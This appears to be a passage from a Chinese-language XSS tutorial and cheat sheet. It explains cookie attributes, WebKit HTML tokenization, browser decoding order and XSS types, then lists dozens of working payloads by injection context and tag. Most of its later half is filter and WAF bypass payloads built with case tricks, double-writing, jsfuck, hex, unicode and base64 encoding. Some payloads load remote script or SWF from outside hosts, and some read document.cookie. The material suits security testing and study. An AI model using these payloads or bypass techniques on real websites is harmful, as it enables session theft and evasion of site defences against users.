"SESSIONID=e6f5cad435dc6a;expires=Thu,27Feb201705:21:00GMT;domain=www.xxx.com;path=/;secure;HttpOnly
3.cookie为什么会自动加到request hearder中
存储cookie是浏览器提供的功能,cookie是存储在浏览器中的纯文本。当网页要发HTTP请求时,浏览器会先检查是否有相应的cookie,有则自动添加到request hearder中的cookie字段中。这是浏览器自动做的。
4.cookie怎么增删改查
cookie既可以由服务端来设置,也可以由客户端来设置。
cookie选项包括:expires、domain、path、secure、HttpOnly。
expires选项用来设置“cookie什么时间内有效”。expires其实是cookie失效日期,对于失效的cookie浏览器会清空。如果没有设置该选项,则默认有效期为session,即会话cookie。这种cookie在浏览器关闭后就没有了。
secure选项用来设置cookie只在确保安全的请求中才会发送。当请求是HTTPS或者其他安全协议时,包含secure选项的cookie才能被发送至服务器。
HttpOnly用来设置cookie是否能通过js去访问。
默认情况下,客户端是可以通过js代码去访问(包括读取、修改、删除等)这个cookie的。当cookie带httpOnly选项时,客户端则无法通过js代码去访问(包括读取、修改、删除等)
2)浏览器的解析方式
语言的解析一般分为词法分析(lexical analysis)和语法分析(Syntax analysis)两个阶段,WebKit中的html解析也不例外,本文主要讨论词法分析。
词法分析的任务是对输入字节流进行逐字扫描,根据构词规则识别单词和符号,分词。
在WebKit中,有两个类,同词法分析密切相关,它是HTMLToken和HTMLTokenizer类,可以简单将HTMLToken类理解为标记,HTMLTokenizer类理解为词法解析器。HTML词法解析的任务,就是将输入的字节流解析成一个个的标记(HTMLToken),然后由语法解析器进行下一步的分析。
在XML/HTML的文档解析中,token这个词经常用到,我将其理解为一个有完整语义的单元(也就是分出来的“词”),一个元素通常对应于3个token,一个是元素的起始标签,一个是元素的结束标签,一个是元素的内容,这点同DOM树是不一样的,在DOM树上,起始标签和结束标签对应于一个元素节点,而元素内容对应另一个节点。
除了起始标签(StartTag)、结束标签(EndTag)和元素内容(Character),HTML标签还有DOCTYPE(文档类型),Comment(注释),Uninitialized(默认类型)和EndOfFile(文档结束)等类型,参见HTMLToken.h中的Type枚举。
标记的组成:类型,在字节流中的偏移,数据(m_data,不同的类型具有不同的意义),文档类型,是否自封闭(对于开始和结束标签),属性列表,当前属性。
HTMLTokenizer就是要从字节流解析出一个个这样的结构体来,他的实现是基于状态机来做的。状态机模型在<http://www.w3.org/TR/html5/tokenization.html#tokenization>
中已经明确定义,nextToken方法实现了该状态机。
以一个简单的html文档来复盘状态机的几条路线。
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!--comment -->
<html>
<body>
<a href=”w3c.org”>w3c</a>
</body>
</html>
在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。一个HTML字符实体描述如下:
字符显示 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
< | 小于号 | < | <; |
字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,'<'对应的字符值引用为'<',对应的字符实体引用为‘<’。字符实体引用也被叫做“实体引用”或“实体”。)
不考虑类似<html>
和<body>
之间的回车换行(webkit里面有做特殊处理,也就是所谓的“authoring convenience”,m_skipLeadingNewLineForListing),从前面的描述中,我们可以确认,该文档有9个HTMLToken,分别是文档类型声明,注释,html的起始标签,body的起始标签,a的起始标签,a的元素内容,a的介绍标签,body的结束标签,html的结束标签。
起始状态为DataState。
1)DOCTYPE
DataState:<!DOCTYPE,碰到’<’,进入TagOpenState
TagOpenState:<!DOCTYPE, 碰到’!’,进入MarkupDeclarationOpenState状态
MarkupDeclarationOpenState:<!DOCTYPE,碰到’D’,匹配DOCTYPE和--字数都不够,保持现状
MarkupDeclarationOpenState:<!DOCTYPE,匹配doctype,进入DOCTYPEState状态(HTMLToken的type为DOCTYPE)
DOCTYPEState: <!DOCTYPE html PUBL,碰到空格,进入BeforeDOCTYPENameState状态
BeforeDOCTYPENameState: <!DOCTYPE html PUBL,碰到’h’,进入DOCTYPENameState
DOCTYPENameState: <!DOCTYPE html PUBL,碰到’t’,保持原状态,提取html作为文档类型
DOCTYPENameState: <!DOCTYPE html PUBL,碰到空格,进入AfterDOCTYPENameState状态。(HTMLToken的m_data为html)
AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,碰到’P’,还未能匹配Public或者system,保持状态
AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,匹配public,进入AfterDOCTYPEPublicKeywordState
AfterDOCTYPEPublicKeywordState:<!DOCTYPE html PUBLIC "-/,碰到空格,进入BeforeDOCTYPEPublicIdentifierState
BeforeDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/,碰到’”’,进入DOCTYPEPublicIdentifierDoubleQuotedState
DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/,碰到’-‘,保持状态,提取m_publicIdentifier
DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/…nal//EN">,碰到’”’,进入AfterDOCTYPEPublicIdentifierState状态。(HTMLToken的m_publicIdentifier确定)
AfterDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/…nal//EN"> ,碰到’>’,进入DataState状态,完成文档类型的解析
2)COMMENT
DataState:<!--comment -->,碰到’<’,进入TagOpenState
TagOpenState:<!--comment -->, 碰到’!’,进入MarkupDeclarationOpenState状态
MarkupDeclarationOpenState:<!--comment -->,碰到’-’,匹配DOCTYPE和--字数都不够,保持现状
MarkupDeclarationOpenState:<!--comment -->,匹配--,进入CommentStartState状态(HTMLToken的type为COMMENT)
CommentStartState: <!--comment -->,碰到’c’,进入CommentState
CommentState:<!--comment -->,碰到’-‘,进入CommentEndDashState状态(HTMLToken的m_data为comment)
CommentEndDashState: <!--comment -->,碰到’-‘,进入CommentEndState状态
CommentEndState:<!--comment -->,碰到’>‘,进入DataState状态,完成解析。
3)起始标签a
DataState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’<’,进入TagOpenState状态
TagOpenState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’a’,进入TagNameState状态(HTMLToken的type为StartTag)
TagNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到空格,进入BeforeAttributeNameState状态(HTMLToken的m_data为a)
BeforeAttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘h’,进入AttributeNameState状态
AttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘=’,进入BeforeAttributeValueState状态(HTMLToken属性列表中加入一个属性,属性名为href)
BeforeAttributeValueState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AttributeValueDoubleQuotedState状态
AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘w’,保持状态,提取属性值
AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AfterAttributeValueQuotedState(HTMLToken当前属性的值为w3c.org).
AfterAttributeValueQuotedState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘>’,进入DataState,完成解析。
在完成startTag的解析的时候,会在解析器中存储与之匹配的end标签(m_appropriateEndTagName),等到解析end标签的时候,会同它进行匹配(语法解析的时候)。
html,body起始标签类似a起始标签,但没有属性解析
4) a元素
DataState:w3c</a>,碰到’w’,维持原状态,提取元素内容(HTMLToken的type为character)。
DataState:w3c</a>,碰到’<’,完成解析,不consume ’<’。(HTMLToken的m_data为w3c)。
5)a结束标签
DataState:w3c</a>,碰到’<’,进入TagOpenState。
TagOpenState:w3c</a>,碰到’/’,进入到EndTagOpenState。(HTMLToken的type为endTag)。
EndTagOpenState:w3c</a>,碰到’a’,进入到TagNameState。
TagNameState:w3c</a>,碰到’>’,进入到DataState,完成解析。
通过以上的复盘,一个标记的token过程清晰呈现在眼前,基本上就是实现http://www.w3.org/TR/html5/tokenization.html
这一章的一个过程,html的规范是相当宽松的,所以词法解析要考虑到的问题很多,html5specfication在这方面为实现者做了绝大部分工作。另外,html的语法解析会影响词法解析,比如语法解析在解析到head里面title的起始标签后,会将htmltokenizer解析器的状态设置为RCDATAState。
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,浏览器处于Datastate状态时,只要遇到一个'<'符号(后面没有跟'/'符号)就会进入“标签开始状态(Tagopenstate)”。然后转变到“标签名状态(Tagnamestate)”,“前属性名状态(beforeattributenamestate)”......最后进入“数据状态(Datastate)”并释放当前标签的token。当解析器处于“数据状态(Datastate)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完“<div>”
并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。大家可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。
在HTML中有五类元素:
1.空元素(Voidelements),如<area>,<br>,<base>等等
2.原始文本元素(Rawtextelements),有<script>和<style>
3.RCDATA元素(RCDATAelements),有<textarea>和<title>
4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素
5.基本元素(Normalelements),即除了以上4种元素以外的元素
五类元素的区别如下:
1.空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
2.原始文本元素,可以容纳文本。
3.RCDATA元素,可以容纳文本和字符引用。(<)
4.外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
5.基本元素,可以容纳文本、字符引用、其他元素和注释
2.原始文本元素(Rawtextelements),有<script>
和<style>
3.RCDATA元素(RCDATAelements),有<textarea>
和<title>
4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素。
5.基本元素(Normalelements),即除了以上4种元素以外的元素
HTML解析器的规则,其中有一种可以容纳字符引用的情况是“RCDATA状态中的字符引用”。这意味着在<textarea>
和<title>
标签中的字符引用会被HTML解析器解码。
这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。
在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>
或<title>
的内容中),唯一能够被解析器认做是标签的就是“</textarea>”
或者“</title>”
。这要看开始标签是哪一个。在“<textarea>”
和“<title>”
的内容中不会创建标签,就不会有脚本能够执行。
3)编码知识
浏览器解析规则
-
URL编码:
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(一般大写,但不强求)
HTML实体编码:
- 命名实体:以&开头,分号结尾的,例如“<”的编码是“<”
- 字符编码:十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值;”,例如“<”可以编码为“<”和“<”
-
JS编码:js提供了四种字符编码的策略
1、三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145”
2、两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65”
3、四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065”
4、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
5、jsfuck编码
CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e可以编码为“\65”或“65”或“00065”
HTML解析器能识别在文本节点和参数值里的实体编码,并在内存里创建文档树的表现形式时,透明的对这些编码进行解码
浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤其当遇到复杂代码时,可能该段代码会经过多个解析器解析。
比如:<a href="javascript:window.open('http://www.baidu.com')">test</a>
这段代码,HTML解析器首先工作(注:此时,若href=”字符串”中的字符串存在字符引用,会对其解码)。然后URL解析器开始对href值进行URL解析。进行URL解析时,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。即,javascript:是不能进行任何js编码的。解析了javascript:之后,会由JS解析器进行解析。JS解析器针对一些编码,其只有在标志符名称里的编码字符才能够被正常的解析。解析完window.open以后,又会由URL解析器进行解析。想了解各解析器的特性,可参考这篇文章深入理解浏览器解析机制和XSS向量编码
JS解析器不会解析和解码字符引用,而针对JS的一些编码其会视情况而定。
可以看到,该代码经过了HTML->URL->JS->URL 四重解析。由于不同的解析器能够分别对一些编码格式进行解析,所以我们可以通过生成特定格式的编码代码,令其在依次解码后能够正确执行,从而绕过WAF。
如:
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
该代码能够正确执行。
首先,经过HTML解析之后,代码会变成
<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>
此时,由于javascript已经生成,不违反URL解析规则。所以,URL解析正常。解析了javascript,最终进入JS解析器。注意,URL解析器还完成了URL解码工作。
<a href="javascript:alert(2)">test</a>
所以,JS最终解析的代码时alert(2).成功执行。
总结来说,各种编码在XSS中的利用非常灵活,我们需要在充分了解浏览器的解析原理合理构造合理编码顺序的代码,最终构造出Payload。
- XSS分类介绍
1)反射性XSS
恶意代码通常存在于URL中需要用户去点击相应的链接才会触发,隐蔽性较差而且,而且可能会被浏览器的XSSFilter干掉
流程:输入--输出
2)存储型XSS
恶意代码通常存在于数据库中用户浏览被植入payload的“正常页面”时即可触发,隐蔽性较强,成功率高,稳定性好。
流程:输入--进入数据库--取出数据库--输出
3、测试方法
常规测试的Payload可以使用https://xss.haozi.me/#/0x01
测试
- 0x00
输出位置可以使用标签
<script>alert(1)</script>
- 0x01
闭合前面的标签,之后创建新的<script>
标签
</textarea><script>alert(1)</script>
- 0x02
在属性值内的情况,用">闭合前面的input标签,之后创建新的<script>
标签
"><script>alert(1)</script>
- 0x03
利用事件属性,<img src=x onerror=alert(1)>
src报错,出发onerror事件。
<img src=x onerror=alert(1)>
- 0x04
使用DATA URI Scheme和实体绕过
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
- 0x05
注释符闭合绕过
--!><script>alert(1)</script>
- 0x0 6
换行符绕过,具体应该是%0A
type=image src=1 onerror
=alert(1)
- 0x07
DOM事件,换行绕过。
<svg onload=alert(1)
- 0x08
匹配单标签截断绕过
</style ><script>alert(1)</script>
- 0x0D
换行绕过+注释绕过
alert(1)
-->
- 0x0F
');alert('1
- 0x10
实体绕过
123;alert(1)
- 0x11
引号闭合
");alert("1
- 0x12
标签截断
\");alert(1)//
4、测试总结
-
测试waf绕过
简单: "'<script javascript onload src><a href></a>#$%^
全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>观察输入输出情况,一些特殊字符是否被编码、标签是否被过滤、输出点在标签之间或标签之内。
-
输出位置进行XSS
- 标签之间
模型: <div>[xss]</div>
payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)>
这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio> 自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非闭合掉它们。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
其他:<math></math>- 在JS标签内:
在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。
1.不在字符串内。
判断<>/是否被过滤。如果没有,那么直接插入就可以。
```
payload:
```
2.在字符串中
此时需要闭合字符串,并保证插入的JS代码符合语法规范。
如:
<script>
Var x="Input";
</script> payload: input是输出点,我们首先要闭合双引号,才能保证XSS成功。如果我们无法闭合包括字符串的引号(引号被转义),就很难利用。除非存在两个输出点或宽字节,在引号被转义成"时有效。在网页为GBK编码时,存在宽字节问题。
反斜线复仇记 利用点 https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html
两个输入点 那些年我们一起学XSS【宽字节复仇记】 https://wizardforcel.gitbooks.io/xss-naxienian/content/3.html
宽字节 - 输出在HTML属性内
1.文本属性中
例如:`<input value="输出">` 、 `<img onload="...[输出]...">` ,再比如 `<body style="...[输出]...">`
- 无引号包裹,直接添加新的事件属性。
- 有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。
HTML的属性,如果被进行HTML实体编码(形如''),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。当然,也可以闭合属性后,然后再执行脚本。
2.src/href/action/xlink:href/autofocus/content/data
等属性直接使用伪协议绕过。
```
javascript 伪协议: <a href=javascript:alert(2)>test</a>
data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
不使用 href 的另外一种组合来执行
js: <svg><a xlink:href="javascript:alert(14)">
<rect width="1000" height="1000" fill="white"/>
</a></svg>(均可)
或者:
<math>
<a xlink:href=javascript:alert(1)>1</a>
</math>(Chrome不可,Firefox可以)
```
如果不行,则测试添加事件进行触发。(首先还是需要闭合)如:
<a href="test.com" onmouseover=alert(1)>ClickHere</a>
3.on*事件
插入合乎逻辑的JS代码即可。也可以使用伪协议。
常见事件
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
4.style属性内及css代码之中IE可执行,并且在IE6以上被防御,不适合其他浏览器,基本已死。
style="width:expression(js代码)"
background-image:url('javascript:alert(2)')
输出在meta标签
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
- 具体标签的Payload
1.a标签
- javascript伪协议:
<a href=javascript:alert(2)>
- data协议执行javascript:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
- urlencode版本:
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
- 不使用href的另外一种组合来执行js:
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
或者
<math><a xlink:href=javascript:alert(1)></math>
2.script标签
-
最简单的测试payload:
<script>alert(1)</script>
jsfuck版本:
http://www.jsfuck.com/
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
-
各种编码版本:
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script> <script>prompt(-[])</script>//不只是alert。prompt和confirm也可以弹窗 <script>alert(/3/)</script>//可以用"/"来代替单引号和双引号 <script>alert(String.fromCharCode(49))</script> //我们还可以用char <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
3.button标签
-
event事件实现js调用:
<button/onclick=alert(1) >M</button>
html5的新姿势:
需要交互的版本:
<form><button formaction=javascript:alert(1)>M
不需要交互的版本:
<button onfocus=alert(1) autofocus>
4.p标签
- 如果发现变量输出在p标签中,只要能跳出
""
就足够了:
<p/onmouseover=javascript:alert(1); >M</p>
5.img标签
有些姿势是因为浏览器的不同而不能成功执行的。
- chrome下有效:
<img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效
<img/src/onerror=alert(1)> //只在chrome下有效
- 其他:
<img src=x onerror=alert(1)>
<img src="x:kcf" onerror="alert(1)">
6.body标签
通过event事件来调用js
<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
7.var标签
<var onmouseover="prompt(1)">M</var>
8.div标签
<div/onmouseover='alert(1)'>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
9.iframe标签
有时候我们可以通过实体编码、换行和Tab字符来bypass。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“允许从外部调用swf时,才可以通过flash来事先xss attack。
下面的	
为tab字符
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe SRC="http://0x.lv/xss.swf"></iframe>
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<iframe/onload=alert(1)></iframe>
10.meta标签
测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv="refresh"
,就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv
设置set-cookie
,进一步重新设置cookie来干一些猥琐的事情。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
- object标签
和a标签的href属性的玩法是一样的,优点是无需交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
- marquee标签
<marquee onstart="alert('1')"></marquee>
- isindex标签
在一些只针对属性做了过滤的webapp中,action很有可能是漏网之鱼。
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
- input标签
通过event来调用js。和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
- select标签
<select onfocus=javascript:alert(1) autofocus>
- textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
- keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
- frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
- embed标签
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox
- svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
- math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
- video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
- audio标签
<audio src=x onerror=alert(47)>
- background属性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
- poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
- code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
- expression属性
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(''x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
过WAF技巧
- 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过
<scr<script>ipt>
- 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过
- 大小写绕过:
<sCript>
- 大小写绕过:
- alert被过滤,可以尝试prompt和confirm
- 没有引号和分号:
<IMG SRC=javascript:alert('XSS')>
- 没有引号和分号:
- 空格被过滤:
<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
- 空格被过滤:
- 反引号妙用:
- 长度限制时:
<q/oncut=alert(1)>//在限制长度的地方很有效
- 长度限制时:
- 单引号及双引号被过滤情况:
<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
- 单引号及双引号被过滤情况:
- javascript伪协议
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
- 畸形payload:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
- 畸形payload:
- /的妙用:
<script>alert(/3/)</script>
- /的妙用:
- 括号被过滤,可以使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,可以用下面的向量代替(下面向量在FireFox上测试失败)
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
- 当=();:被过滤时:
<svg><script>alert(/1/)</script>
opera 中可以不闭合<svg><script>alert( 1)
// Opera可查
- 当=();:被过滤时:
- 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。
- 比如在使用
<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>
时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; - 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点
<scri<!-- 第二处-->pt>
;
- 无法使用href:
<a onmouseover="alert(document.cookie)">xxs link</a>
在chrome下,其回补全缺失的引号。因此,也可以这样写:
<a onmouseover=alert(document.cookie)>xxs link</a>
- 解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
- 编码
JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,可以配合编码。此外,data属性可以base64编码。
1.js16进制
<script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓
Alert(“xss”)
2.js unicode
<script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
3.String.fromCharCode函数(不需要任何引号,必须函数内)
<script>eval(String.fromCharCode编码内容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
4.jsfuck版本
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
5.HTML编码:
<img src='1' onerror='alert(1)'>
6.base64编码(仅data支持)
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式:
Data:<mime type>,<encoded data>
Data //协议
<mime type> //数据类型
charset=<charset> //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
特点:不支持IE
- 存在json数据解析 context:
<?=json_encode($_GET['x'])?>
- payload:
?x=<img+src=x+onerror=ö-alert(1)>
- 存在json数据解析 context:
- SVG 标签
当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg>
YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)//
如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text";alert(1)//";</script></svg>
- 参考
《XSS测试备忘录》http://momomoxiaoxi.com/2017/10/10/XSS/
(360安全客)深入理解浏览器解析机制和XSS向量编码
WEBKIT中的HTML词法解析 https://blog.csdn.net/dlmu2001/article/details/5998130